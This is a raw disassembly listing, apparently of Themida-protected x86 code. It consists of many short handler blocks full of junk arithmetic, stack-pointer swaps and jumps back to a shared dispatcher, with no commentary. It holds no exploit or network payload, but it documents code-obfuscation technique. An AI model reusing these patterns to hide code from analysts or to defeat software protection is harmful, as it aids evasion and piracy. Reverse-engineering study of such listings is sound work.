loc_58DB29: ; CODE XREF: sub_58FF73+7j
sub [esp+4], ecx
pop ecx
mov ecx, [esp+0]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0]
pop esp
jmp loc_58C9E9
; ---------------------------------------------------------------------------
loc_58DB45: ; CODE XREF: sub_584787+AA2Fj
shl ebx, 5
jmp loc_58BBC1
; ---------------------------------------------------------------------------
loc_58DB4D: ; CODE XREF: sub_584787+A5B6j
pop esi
xchg ebx, [esp+0]
mov esp, [esp+0]
dec dword ptr [esp+0]
pushf
jmp loc_5888A6
; ---------------------------------------------------------------------------
loc_58DB5D: ; CODE XREF: sub_584787+1E3j
xchg eax, [esp+1Eh+var_20+2]
pop esp
add ebp, 4
jmp loc_588DD6
; ---------------------------------------------------------------------------
loc_58DB6C: ; CODE XREF: sub_584787+3BA2j
mov ebp, esi
pop esi
jmp loc_5859B5
; ---------------------------------------------------------------------------
loc_58DB74: ; DATA XREF: Themida_:005841F4o
mov cx, word ptr [esp+10h+var_10]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+14h+var_14]
pop esp
mov [esp+10h+var_10], eax
push 63FBh
mov [esp+14h+var_14], esp
add [esp+14h+var_14], 4
pop eax
add eax, 4
push ebx
jmp loc_58A510
; ---------------------------------------------------------------------------
loc_58DBA9: ; CODE XREF: sub_584787+7B1Fj
mov ebp, 3CBA5FEDh
jmp loc_58A768
; ---------------------------------------------------------------------------
loc_58DBB3: ; CODE XREF: sub_584787+9A4Aj
mov edx, 702519BFh
jmp loc_58CF8A
; ---------------------------------------------------------------------------
loc_58DBBD: ; DATA XREF: Themida_:00584414o
push dword ptr [esp+0]
mov ecx, [esp+2Ch+var_2C]
add esp, 4
push ebx
push esp
mov ebx, [esp+30h+var_30]
add esp, 4
add ebx, 4
push edx
mov edx, 6F0C0F6Fh
or edx, 5C092F62h
neg edx
xor edx, 80F2D095h
add ebx, 6DD47457h
jmp loc_58E8DF
; ---------------------------------------------------------------------------
loc_58DBF6: ; CODE XREF: sub_584787+2230j
mov [esp+2Ah+var_2C+2], ebx
push edi
push esi
mov esi, 2
push edx
mov edx, esi
mov edi, edx
pop edx
pop esi
mov ebx, edi
pop edi
add eax, 63321A6Ah
add eax, ebx
jmp loc_588123
; ---------------------------------------------------------------------------
loc_58DC16: ; CODE XREF: sub_584787+A61j
add ah, 5Dh
add ah, 0F0h
jmp loc_58AAE7
; ---------------------------------------------------------------------------
loc_58DC21: ; CODE XREF: sub_584787+7BCEj
pop ebp
jmp sub_5845B8
; ---------------------------------------------------------------------------
loc_58DC27: ; CODE XREF: sub_584787+2FB0j
add dl, 0C5h
mov al, dl
pop edx
push ebx
mov bl, al
mov cl, bl
pop ebx
jmp loc_587F13
; ---------------------------------------------------------------------------
loc_58DC38: ; CODE XREF: sub_584787+127Cj
add esp, 4
add eax, edi
pop edi
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_58EDEF
; ---------------------------------------------------------------------------
loc_58DC4C: ; CODE XREF: sub_584787+8A55j
inc al
add al, 30h
sub bl, 4Dh
jmp loc_58849B
; ---------------------------------------------------------------------------
loc_58DC58: ; CODE XREF: sub_584787+3ACEj
add eax, 2
xor eax, [esp+5Ah+var_5C+2]
xor [esp+5Ah+var_5C+2], eax
xor eax, [esp+5Ah+var_5C+2]
pop esp
push esi
sub esp, 4
mov [esp+5Eh+var_60+2], edx
jmp loc_58B0F7
; ---------------------------------------------------------------------------
loc_58DC71: ; CODE XREF: sub_584787+A4E0j
dec esi
jmp loc_58D6FA
; ---------------------------------------------------------------------------
loc_58DC77: ; CODE XREF: sub_584787+AFADj
pop ecx
push ebp
jmp loc_58C33F
; ---------------------------------------------------------------------------
loc_58DC7E: ; CODE XREF: sub_584787+1D81j
add edx, ebx
mov ebx, [esp+14h+var_14]
add esp, 4
jmp loc_58496F
; ---------------------------------------------------------------------------
loc_58DC8E: ; CODE XREF: sub_584787+6D9Aj
shr ebx, 2
shr ebx, 6
sub ebx, 507E5A03h
jmp loc_5852B6
; ---------------------------------------------------------------------------
loc_58DC9F: ; CODE XREF: sub_584787+5C72j
pop esp
xchg esi, [esp+8+var_8]
jmp loc_58E656
; ---------------------------------------------------------------------------
loc_58DCA8: ; CODE XREF: sub_584787+9B99j
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
jmp loc_58AD85
; ---------------------------------------------------------------------------
loc_58DCBC: ; CODE XREF: sub_584787+BAD9j
shr eax, 2
add eax, 16C0482Bh
inc eax
jmp loc_586F75
; ---------------------------------------------------------------------------
loc_58DCCA: ; CODE XREF: sub_584787+6EF2j
sub edx, ecx
jmp loc_5884D0
; ---------------------------------------------------------------------------
loc_58DCD1: ; CODE XREF: Themida_:0058F5ABj
push 2B512F9Dh
jmp loc_58E9EF
; ---------------------------------------------------------------------------
loc_58DCDB: ; CODE XREF: sub_584787-250j
mov ecx, [esp-4+arg_0]
add esp, 4
xor eax, [esp-8+arg_4]
jmp loc_5846F7
; ---------------------------------------------------------------------------
loc_58DCEC: ; CODE XREF: sub_584787+5D1Dj
mov bh, 2Ch
jmp loc_5906BE
; ---------------------------------------------------------------------------
loc_58DCF3: ; CODE XREF: sub_584787+29FDj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58DCF8: ; CODE XREF: sub_584787+5A71j
add ecx, 4
jmp loc_58FE8E
; ---------------------------------------------------------------------------
loc_58DD00: ; CODE XREF: sub_584787+A6AAj
not ecx
sub ecx, 7E731FC3h
inc ecx
xor ecx, 715D6785h
add ecx, 0F36C5C3Ch
mov esi, ecx
pop ecx
add esi, 0B814B00Bh
mov edx, esi
pop esi
add esi, edx
pop edx
jmp loc_5899E4
; ---------------------------------------------------------------------------
loc_58DD29: ; DATA XREF: Themida_:0058431Co
neg word ptr [esp+30h+var_30]
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58DD33: ; DATA XREF: Themida_:005841BCo
mov cx, word ptr [esp+34h+var_34]
push ebx
push esp
pop ebx
add ebx, 4
sub esp, 4
mov [esp+3Ch+var_3C], edx
push ecx
push 1C4F4A1Bh
push [esp+44h+var_46+2]
pop ecx
jmp loc_58B582
; ---------------------------------------------------------------------------
loc_58DD58: ; CODE XREF: sub_584787+5CF4j
mov esi, [esp+18h+var_18]
add esp, 4
neg edi
inc edi
xor edi, 0BC29CC70h
jmp loc_587574
; ---------------------------------------------------------------------------
loc_58DD6C: ; CODE XREF: sub_584787+128Aj
pop [esp-14h+arg_E+2]
mov esp, [esp-18h+arg_12+2]
mov ax, word ptr [esp-18h+arg_12+2]
jmp loc_58F6E7
; ---------------------------------------------------------------------------
loc_58DD7B: ; CODE XREF: sub_584787+6D9j
pop edx
xor eax, 5D162E3Ah
sub eax, 0D90CA4C6h
and ecx, eax
push [esp+20h+var_20]
jmp loc_58A006
; ---------------------------------------------------------------------------
loc_58DD90: ; CODE XREF: sub_584787+9F9Aj
pop esp
mov [esp+20h+var_20], ebx
push esi
mov esi, 79E170DBh
sub esi, 0D3E0260h
shr esi, 6
shr esi, 1
sub esi, 0EE313532h
mov ebx, esi
pop esi
and ebx, 2E0B7FF5h
jmp loc_586A9A
; ---------------------------------------------------------------------------
loc_58DDB9: ; CODE XREF: sub_584787+B0C7j
add ah, dh
pop edx
mov bl, ah
jmp loc_590378
; ---------------------------------------------------------------------------
loc_58DDC3: ; CODE XREF: sub_584787+4548j
mov dx, 2825h
jmp loc_58C913
; ---------------------------------------------------------------------------
loc_58DDCC: ; CODE XREF: sub_584787+3EDDj
mov [esp+2Ah+var_2C+2], edx
mov edx, esp
push ebx
mov ebx, 70890878h
add ebx, 8F76F78Ch
jmp loc_585CBB
; ---------------------------------------------------------------------------
loc_58DDE2: ; CODE XREF: sub_584787+EF2j
mov [esp-14h+arg_E+2], ebp
push ecx
mov ecx, 0D7678EAh
mov ebp, ecx
mov ecx, [esp+0]
jmp loc_58FE48
; ---------------------------------------------------------------------------
loc_58DDF5: ; CODE XREF: sub_584787+320Aj
mov edx, 6FA764C3h
xor edx, eax
pop eax
shr edx, 7
jmp loc_586380
; ---------------------------------------------------------------------------
loc_58DE05: ; CODE XREF: sub_584787+1A55j
sub bl, dl
mov edx, [esp+14h+var_14]
add esp, 4
add al, bl
pop ebx
push ecx
mov ch, 17h
and ch, 0A4h
sub ch, 46h
add al, ch
jmp loc_58BF53
; ---------------------------------------------------------------------------
loc_58DE20: ; CODE XREF: sub_584787+50C7j
dec ah
or ah, 0D7h
dec ah
jmp loc_58F2E6
; ---------------------------------------------------------------------------
loc_58DE2C: ; CODE XREF: sub_584787+4422j
push ebx
mov ebx, 6D872C5Ah
and ebx, 664110A1h
jmp loc_58A778
; ---------------------------------------------------------------------------
loc_58DE3D: ; CODE XREF: sub_584787+8461j
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
push ebp
push ecx
jmp loc_584CF8
; ---------------------------------------------------------------------------
loc_58DE4D: ; CODE XREF: sub_584787+EC9j
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
sub ebx, esi
jmp loc_58FEFB
; ---------------------------------------------------------------------------
loc_58DE62: ; CODE XREF: sub_584787+A4FEj
mov ebx, 510611D3h
jmp loc_587919
; ---------------------------------------------------------------------------
loc_58DE6C: ; CODE XREF: sub_584787+5045j
mov edi, 2
add ecx, edi
pop edi
xor ecx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ecx
xor ecx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
sar [esp+0Ch+var_C], cl
pushf
jmp loc_58CAAC
; ---------------------------------------------------------------------------
loc_58DE89: ; CODE XREF: sub_584787+7408j
push ecx
push 78657E75h
pop ecx
mov ebp, ecx
pop ecx
push edx
mov edx, 7F153D61h
and ebp, edx
jmp loc_58F3D0
; ---------------------------------------------------------------------------
loc_58DEA0: ; CODE XREF: sub_584787+2546j
add eax, 5B3E58A5h
sub eax, 77174267h
pop esi
jmp loc_586FC8
; ---------------------------------------------------------------------------
loc_58DEB0: ; CODE XREF: sub_584787+4481j
mov [esp+4+var_4], ebx
push ecx
mov ecx, 0FFF036Eh
jmp loc_586997
; ---------------------------------------------------------------------------
loc_58DEBE: ; CODE XREF: sub_584787+15Dj
sub eax, 637F5790h
mov edx, [esp+14h+var_14]
jmp loc_58CF77
; ---------------------------------------------------------------------------
loc_58DECB: ; CODE XREF: sub_584787+264Aj
xor al, bh
pop bx
push eax
jmp loc_586F37
; ---------------------------------------------------------------------------
loc_58DED5: ; CODE XREF: sub_584787+5225j
mov [esp+0Ch+var_C], eax
jmp loc_589088
; ---------------------------------------------------------------------------
loc_58DEDD: ; CODE XREF: sub_584787+2D78j
add esp, 4
sub bl, cl
pop ecx
push 59B8h
jmp loc_585312
; ---------------------------------------------------------------------------
loc_58DEED: ; CODE XREF: sub_584787+B1F2j
mov ecx, 4
jmp loc_5869D8
; ---------------------------------------------------------------------------
loc_58DEF7: ; CODE XREF: sub_584787+7AEEj
xor [esp-18h+arg_12+2], edi
xor edi, [esp-18h+arg_12+2]
mov esp, [esp-18h+arg_12+2]
sub word ptr [esp-18h+arg_12+2], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58DF0A: ; CODE XREF: sub_584787+41D0j
add esi, 41744707h
xor esi, 3EF62AC6h
shl esi, 7
jmp loc_58AA95
; ---------------------------------------------------------------------------
loc_58DF1E: ; CODE XREF: sub_584787+4E46j
mov [esp+4+var_4], ebx
push [esp+4+var_4]
pop eax
sub esp, 4
mov [esp+8+var_8], edx
mov edx, esp
push ebx
push esi
jmp loc_58EF0B
; ---------------------------------------------------------------------------
loc_58DF37: ; CODE XREF: sub_584787+4EB0j
dec edi
shl edi, 5
add edi, 7E7C705Eh
dec edi
or edi, 16C3231Ah
jmp loc_58A58E
; ---------------------------------------------------------------------------
loc_58DF4D: ; CODE XREF: sub_584787+B5j
add edi, edx
pop edx
jmp loc_589A4D
; ---------------------------------------------------------------------------
loc_58DF55: ; CODE XREF: sub_584787+83F1j
pop edi
add edi, 22887672h
pop ebx
and edi, 4E7954F9h
add edi, 741445C5h
mov ebx, edi
pop edi
jmp loc_58A654
; ---------------------------------------------------------------------------
loc_58DF71: ; CODE XREF: sub_584787+4C85j
xor eax, 2EA60752h
push small word ptr [eax]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58DF7E: ; CODE XREF: sub_584787+43B3j
mov esi, esp
add esi, 4
push ebx
push eax
push 5B9D7662h
pop eax
add eax, 0A46289A2h
mov ebx, eax
pop eax
sub esi, 36AF5CB9h
add esi, ebx
jmp loc_5901E0
; ---------------------------------------------------------------------------
loc_58DFA3: ; CODE XREF: sub_584787+6C06j
mov edi, 7C625870h
jmp loc_58D848
; ---------------------------------------------------------------------------
loc_58DFAD: ; CODE XREF: sub_584787-75j
pop ebx
pop ecx
push ebx
push edx
mov dh, al
push eax
jmp loc_588B8F
; ---------------------------------------------------------------------------
loc_58DFB9: ; CODE XREF: sub_584787+8BDEj
dec bh
jmp loc_58ACEF
; ---------------------------------------------------------------------------
loc_58DFC0: ; CODE XREF: sub_584787+932Cj
push [esp-1Ch+arg_18]
pop eax
jmp loc_586EA6
; ---------------------------------------------------------------------------
loc_58DFC9: ; CODE XREF: sub_584787+74F1j
xchg ebx, [esp+2Eh+var_30+2]
mov ebx, [esp+2Eh+var_30+2]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58C784
; ---------------------------------------------------------------------------
loc_58DFE3: ; DATA XREF: Themida_:00584328o
push [esp+32h+var_34+2]
pop eax
push ebx
push esp
mov ebx, [esp+3Ah+var_3C+2]
add esp, 4
push 4CD5h
mov [esp+3Ah+var_3C+2], esi
push ebx
jmp loc_585901
; ---------------------------------------------------------------------------
loc_58E000: ; CODE XREF: sub_584787+BC4Aj
mov edx, ebp
pop ebp
jmp loc_5891C3
; ---------------------------------------------------------------------------
loc_58E008: ; CODE XREF: sub_584787+14F6j
and ecx, edi
push [esp+54h+var_54]
jmp loc_58FA5F
; ---------------------------------------------------------------------------
loc_58E012: ; CODE XREF: sub_584787+9EA8j
sub ebx, 230B71A2h
add ebx, eax
jmp loc_58684D
; ---------------------------------------------------------------------------
loc_58E01F: ; CODE XREF: sub_584787+B775j
xchg ebx, [esp+58h+var_58]
jmp loc_587161
; ---------------------------------------------------------------------------
loc_58E027: ; CODE XREF: sub_584787+5463j
push edx
mov dl, 0CCh
sub dl, 7Bh
push ebx
mov bl, 57h
or bl, 0D8h
neg bl
jmp loc_5905E2
; ---------------------------------------------------------------------------
loc_58E03A: ; CODE XREF: sub_584787+79EDj
sub esp, 4
mov [esp+10h+var_10], eax
jmp loc_58644D
; ---------------------------------------------------------------------------
loc_58E045: ; CODE XREF: sub_584787+D5Dj
and ebp, 5B0E6B85h
add ebp, 0D5D6054h
add ecx, ebp
pop ebp
add ecx, eax
sub ecx, 156369D8h
add ecx, 63CD4EAEh
add ecx, 2663767h
jmp loc_58DAFC
; ---------------------------------------------------------------------------
loc_58E06D: ; CODE XREF: sub_584787+218Bj
mov ecx, 4
sub esi, 357C7E01h
add esi, ecx
jmp loc_5850EE
; ---------------------------------------------------------------------------
loc_58E07F: ; CODE XREF: sub_584787+85A4j
add [esp+10h+var_10], 71CC54BDh
pop eax
sub eax, 71CC54BDh
jmp loc_58828B
; ---------------------------------------------------------------------------
loc_58E091: ; CODE XREF: sub_584787+897j
push 9A5h
mov [esp+1Ch+var_1C], ebx
mov ebx, 2
mov ecx, ebx
pop ebx
sub esi, 71A842CAh
add esi, ecx
jmp loc_584864
; ---------------------------------------------------------------------------
loc_58E0AE: ; CODE XREF: sub_584787+ABE6j
mov [esp+18h+var_18], ebp
jmp loc_584583
; ---------------------------------------------------------------------------
loc_58E0B6: ; CODE XREF: sub_584787-67j
mov word ptr [esp-4+arg_0], dx
mov dx, 1FBEh
sub bx, dx
pop dx
movzx eax, ax
push 2DE4h
mov [esp+0], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_585FF5
; ---------------------------------------------------------------------------
loc_58E0E1: ; CODE XREF: sub_584787+511Fj
mov esp, [esp-8+arg_4]
push 383h
jmp loc_5892DE
; ---------------------------------------------------------------------------
loc_58E0EE: ; CODE XREF: sub_584787+9099j
add edi, 486F3473h
and edi, 38911B8Bh
not edi
jmp loc_58D3CC
; ---------------------------------------------------------------------------
loc_58E101: ; CODE XREF: sub_584787+849Cj
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_58F8ED
; ---------------------------------------------------------------------------
loc_58E114: ; CODE XREF: sub_584787+9C09j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_586A74
; ---------------------------------------------------------------------------
loc_58E125: ; CODE XREF: sub_584787+87EBj
pop esi
add edx, eax
mov eax, [esp+8+var_8]
add esp, 4
add edx, 2
xchg edx, [esp+4+var_4]
pop esp
rol byte ptr [esp+0], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E141: ; CODE XREF: sub_584787+735Ej
push eax
jmp loc_58E3A9
; ---------------------------------------------------------------------------
loc_58E147: ; CODE XREF: sub_584787+AB9Bj
mov ecx, 1CE20068h
xor ecx, 1CE2006Ch
add ebx, ecx
pop ecx
push ebp
mov ebp, 2
add ebx, ebp
mov ebp, [esp+14h+var_14]
jmp loc_5885FB
; ---------------------------------------------------------------------------
loc_58E165: ; CODE XREF: sub_584787+7F06j
push 24D97AC2h
pop ecx
jmp loc_58915E
; ---------------------------------------------------------------------------
loc_58E170: ; CODE XREF: sub_584787+B714j
or [edi+1Ch], esi
push [esp+3Ch+var_3C]
mov esi, [esp+40h+var_42+2]
add esp, 4
add esp, 4
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E187: ; CODE XREF: sub_584787+70E4j
mov ebp, ecx
mov ecx, [esp+20h+var_20]
add esp, 4
pop eax
jmp loc_5892C2
; ---------------------------------------------------------------------------
loc_58E195: ; CODE XREF: sub_584787+7A75j
mov edi, 66B75723h
xor edi, 66B75727h
mov ecx, edi
pop edi
add edx, ecx
pop ecx
add edx, 4
push edx
push [esp+4Ah+var_46]
pop edx
pop dword ptr [esp+0]
pop esp
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+46h+var_46]
pop esp
add esp, 4
push 49D2h
mov [esp+42h+var_42], edx
jmp loc_58DBB3
; ---------------------------------------------------------------------------
loc_58E1D6: ; CODE XREF: sub_584787+74B5j
mov bh, 2
jmp loc_58C946
; ---------------------------------------------------------------------------
loc_58E1DD: ; DATA XREF: Themida_:005842B4o
lodsb
xor al, bl
push cx
sub esp, 4
mov [esp+24h+var_26+2], edx
jmp loc_587B6B
; ---------------------------------------------------------------------------
loc_58E1ED: ; CODE XREF: sub_584787+724Fj
inc ecx
push ebx
jmp loc_585655
; ---------------------------------------------------------------------------
loc_58E1F4: ; CODE XREF: sub_584787+19D0j
mov edx, 4
sub ecx, 55E95B95h
add ecx, edx
push esi
mov esi, 55E95B95h
add ecx, esi
pop esi
jmp loc_586A3F
; ---------------------------------------------------------------------------
loc_58E20F: ; CODE XREF: sub_584787-1D4j
xchg edx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
jmp loc_58CE10
; ---------------------------------------------------------------------------
loc_58E21A: ; CODE XREF: sub_584787+1393j
mov ecx, 60A5B4Ch
push 0FCAh
mov [esp+1Ch+var_1C], ecx
xchg ecx, [esp+1Ch+var_1C]
not ecx
push ecx
push [esp+20h+var_1C]
pop ecx
pop [esp+20h+var_20]
pop ecx
jmp loc_58C584
; ---------------------------------------------------------------------------
loc_58E23B: ; CODE XREF: sub_584787+783Ej
add edi, 3277C134h
jmp loc_58B4A6
; ---------------------------------------------------------------------------
loc_58E246: ; CODE XREF: sub_584787+3E1Aj
xchg ebx, esi
not ebx
xchg ebx, esi
and esi, 1C29550Bh
jmp loc_58AD98
; ---------------------------------------------------------------------------
loc_58E257: ; CODE XREF: sub_584787+33EAj
mov dl, bh
push [esp+20h+var_20]
jmp loc_58BA61
; ---------------------------------------------------------------------------
loc_58E261: ; DATA XREF: Themida_:005842ACo
push [esp+24h+var_26+2]
pop eax
push 0AF9h
mov [esp+0], ebx
mov ebx, esp
jmp loc_58B227
; ---------------------------------------------------------------------------
loc_58E274: ; CODE XREF: sub_584787+824j
pop esp
push ecx
jmp loc_5884B3
; ---------------------------------------------------------------------------
loc_58E27B: ; CODE XREF: sub_584787+374Dj
pop [esp+4Ch+var_4E+2]
pop esp
push 2DAAh
mov [esp+0], edx
jmp loc_58F03D
; ---------------------------------------------------------------------------
loc_58E28C: ; CODE XREF: sub_584787+74C1j
xor [esp+4Ch+var_4E+2], edx
xor edx, [esp+4Ch+var_4E+2]
jmp loc_588912
; ---------------------------------------------------------------------------
loc_58E297: ; CODE XREF: sub_584787+B1DDj
mov esi, 4
jmp loc_587E23
; ---------------------------------------------------------------------------
loc_58E2A1: ; DATA XREF: Themida_:005843DCo
mov cx, word ptr [esp+4Ch+var_4E+2]
push 4BE1h
mov [esp], ebx
push esp
push [esp+54h+var_54]
jmp loc_58B2A3
; ---------------------------------------------------------------------------
loc_58E2B6: ; CODE XREF: sub_584787+8152j
or ecx, 5AF814A1h
jmp loc_58B89A
; ---------------------------------------------------------------------------
loc_58E2C1: ; CODE XREF: sub_584787+BC20j
xor ebp, [esp+18h+var_18]
jmp loc_584818
; ---------------------------------------------------------------------------
loc_58E2C9: ; CODE XREF: sub_584787+144Bj
push 24F3h
push esp
pop dword ptr [esp+0]
jmp loc_589582
; ---------------------------------------------------------------------------
loc_58E2D7: ; CODE XREF: sub_584787+2354j
mov esp, [esp+4+var_4]
mov cx, word ptr [esp+4+var_4]
push 5CBFh
mov [esp+8+var_8], ebx
push 755Eh
jmp loc_585FED
; ---------------------------------------------------------------------------
loc_58E2F0: ; CODE XREF: sub_584787+709Dj
mov esp, [esp-14h+arg_E+2]
jmp loc_58BD2E
; ---------------------------------------------------------------------------
loc_58E2F8: ; CODE XREF: sub_584787+912Ej
add eax, ebp
pop ebp
mov ecx, eax
pop eax
jmp loc_58F271
; ---------------------------------------------------------------------------
loc_58E303: ; CODE XREF: sub_584787+A4ACj
push [esp+2Ah+var_26]
mov ebx, [esp+2Eh+var_30+2]
add esp, 4
pop [esp+2Ah+var_2C+2]
pop esp
mov ax, [esp+0]
jmp loc_588173
; ---------------------------------------------------------------------------
loc_58E31A: ; CODE XREF: sub_584787+9EDAj
mov ecx, [esp+0]
add esp, 4
jmp loc_58DCA8
; ---------------------------------------------------------------------------
loc_58E325: ; CODE XREF: sub_584787+4CFAj
push small 1558h
mov word ptr [esp+1Ah+var_1C+2], ax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E332: ; CODE XREF: sub_584787+1F23j
mov [esp+0], esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+72h+var_74+2]
pop esp
jmp loc_588E5B
; ---------------------------------------------------------------------------
loc_58E34A: ; CODE XREF: sub_584787+AB3Dj
push 1CEh
jmp loc_589696
; ---------------------------------------------------------------------------
loc_58E354: ; CODE XREF: sub_584787+570Cj
push esp
mov edx, [esp+26h+var_26]
add esp, 4
push ecx
sub esp, 4
mov [esp+2Ah+var_2C+2], esi
push 4CB61BA3h
jmp loc_58B542
; ---------------------------------------------------------------------------
loc_58E36F: ; CODE XREF: sub_584787+BD22j
pop edi
push esi
mov esi, 2
add edx, esi
pop esi
xchg edx, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
push 6452h
mov [esp+2Eh+var_30+2], ebx
push 0
push [esp+32h+var_34+2]
pop ebx
jmp loc_58E114
; ---------------------------------------------------------------------------
loc_58E395: ; CODE XREF: sub_584787+3D6Aj
mov ebp, ecx
mov ecx, [esp+4+var_4]
add esp, 4
mov dword ptr [edi+20h], 6D4746D6h
jmp loc_58C20D
; ---------------------------------------------------------------------------
loc_58E3A9: ; CODE XREF: sub_584787+99BBj
push 51D2057h
pop eax
shl eax, 4
jmp loc_5848E9
; ---------------------------------------------------------------------------
loc_58E3B7: ; CODE XREF: sub_584787+3D5Dj
add ecx, 4
xchg ecx, [esp+3Ch+var_3C]
pop esp
or edx, eax
shl edx, 1
jmp loc_58E8D4
; ---------------------------------------------------------------------------
loc_58E3CA: ; CODE XREF: sub_584787+35C7j
sub [esp+10h+var_C], 48C12319h
mov ecx, [esp+10h+var_10]
jmp loc_58C497
; ---------------------------------------------------------------------------
loc_58E3DA: ; CODE XREF: sub_584787+94j
mov cx, word ptr [esp+14h+var_14]
push edx
push esp
pop edx
add edx, 4
push 10F0h
jmp loc_5895AF
; ---------------------------------------------------------------------------
loc_58E3F1: ; CODE XREF: sub_584787+B431j
pop ebp
mov eax, [ebx]
pop ebx
push ebp
mov ebp, 76DC7A91h
sub ebp, 0FFFFFFFFh
push ebx
mov ebx, 79C86A1Ah
xor ebx, 289F697Bh
shr ebx, 1
xor ebx, 61D1785Ch
xor ebx, 7C349C3Ah
add ebp, 6844171Fh
sub ebp, ebx
sub ebp, 6844171Fh
pop ebx
sub ebp, 49D9114Bh
shr ebp, 1
jmp loc_586F3F
; ---------------------------------------------------------------------------
loc_58E437: ; DATA XREF: Themida_:00584394o
lodsd
jmp loc_58AB71
; ---------------------------------------------------------------------------
loc_58E43D: ; CODE XREF: sub_584787+5A37j
sub edx, esi
add edx, 626C253Eh
push [esp+0Ah+var_C+2]
pop esi
add esp, 4
xchg edx, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
mov word ptr [esp+6+var_8+2], ax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E45B: ; CODE XREF: sub_584787+4925j
pop edx
jmp loc_586D5E
; ---------------------------------------------------------------------------
loc_58E461: ; CODE XREF: sub_584787+48A2j
pop ecx
dec esi
add esi, 0F0570DB8h
add ebx, esi
pop esi
sub esp, 4
mov [esp+38h+var_38], edx
push esp
jmp loc_58A3CC
; ---------------------------------------------------------------------------
loc_58E478: ; CODE XREF: sub_584787+6D0Fj
mov ebx, ebp
pop ebp
mov eax, ebx
pop ebx
jmp loc_585327
; ---------------------------------------------------------------------------
loc_58E483: ; CODE XREF: sub_584787+60A1j
mov ch, 0
jmp loc_58758F
; ---------------------------------------------------------------------------
loc_58E48A: ; CODE XREF: sub_584787+A0D1j
add esp, 4
sub edx, 4
xchg edx, [esp+54h+var_54]
mov esp, [esp+54h+var_54]
mov [esp+54h+var_54], eax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E4A1: ; CODE XREF: sub_584787+66D4j
sub ecx, 1DE6579Eh
pop ebx
sub [edi+24h], ecx
jmp loc_58780F
; ---------------------------------------------------------------------------
loc_58E4B0: ; DATA XREF: Themida_:00584348o
xchg dx, word ptr [esp+1Ch+var_1C]
jmp loc_58F30A
; ---------------------------------------------------------------------------
loc_58E4B9: ; DATA XREF: Themida_:00584390o
lodsd
push ebx
mov ebx, 745C4A35h
sub eax, ebx
pop ebx
jmp loc_584742
; ---------------------------------------------------------------------------
loc_58E4C8: ; CODE XREF: sub_584787+693Bj
push eax
mov ah, 0A3h
or bl, ah
pop eax
jmp loc_5878EC
; ---------------------------------------------------------------------------
loc_58E4D3: ; CODE XREF: sub_584787+219Bj
pop ebp
push ecx
push edi
mov edi, 0AAB3602h
jmp loc_58708E
; ---------------------------------------------------------------------------
loc_58E4E0: ; CODE XREF: sub_584787+BC39j
mov esp, [esp+1Eh+var_20+2]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E4E8: ; CODE XREF: sub_584787+19C4j
sub al, bh
mov bx, word ptr [esp+26h+var_26]
add esp, 2
add al, 71h
sub al, bl
push ebx
mov bl, 71h
sub al, bl
jmp loc_58A814
; ---------------------------------------------------------------------------
loc_58E502: ; CODE XREF: sub_584787+308Cj
push 14C6h
mov [esp+0], esp
add dword ptr [esp+0], 4
mov ebp, [esp+0]
add esp, 4
jmp loc_58D5CA
; ---------------------------------------------------------------------------
loc_58E51F: ; CODE XREF: sub_584787+90Dj
mov eax, 30h
sub eax, 763D6AEEh
jmp loc_58E570
; ---------------------------------------------------------------------------
loc_58E52E: ; CODE XREF: sub_584787+102j
pop [esp+20h+var_20]
add [esp+1Ch+var_1C], 4
mov edi, [esp+1Ch+var_1C]
push ecx
jmp loc_58B15F
; ---------------------------------------------------------------------------
loc_58E53E: ; CODE XREF: sub_584787+81C3j
mov al, 4Fh
sub bh, al
pop eax
sub al, bh
pop ebx
add al, bl
push ecx
push eax
mov ah, 19h
mov cl, ah
pop eax
sub al, 0B9h
sub al, 0C4h
add al, cl
push dx
mov dh, 0C4h
add al, dh
jmp loc_58E695
; ---------------------------------------------------------------------------
loc_58E560: ; CODE XREF: sub_584787+8494j
mov ebx, 453109D1h
sub ebx, 62EE184Fh
jmp loc_58BE07
; ---------------------------------------------------------------------------
loc_58E570: ; CODE XREF: sub_584787+9DA2j
add eax, edx
push 501h
mov [esp+30h+var_30], ebp
mov ebp, 52AD71FCh
xor ebp, 24901B12h
add eax, ebp
push [esp+30h+var_30]
pop ebp
add esp, 4
push ebx
push 1A221792h
pop ebx
xor ebx, 6C8725DDh
xor ebx, 76A5324Fh
push ecx
mov ecx, 0
add ecx, eax
push eax
mov eax, 0
sub eax, 455F2E8Ah
add eax, ecx
jmp loc_588467
; ---------------------------------------------------------------------------
loc_58E5BE: ; CODE XREF: sub_584787+6E20j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E5C3: ; CODE XREF: sub_584787+40B5j
xor edx, [esp+8+var_8]
xor [esp+8+var_8], edx
xor edx, [esp+8+var_8]
pop esp
push edi
jmp loc_58C7C9
; ---------------------------------------------------------------------------
loc_58E5D3: ; CODE XREF: sub_584787+2DA0j
add esp, 4
rep movsd
jmp loc_58A753
; ---------------------------------------------------------------------------
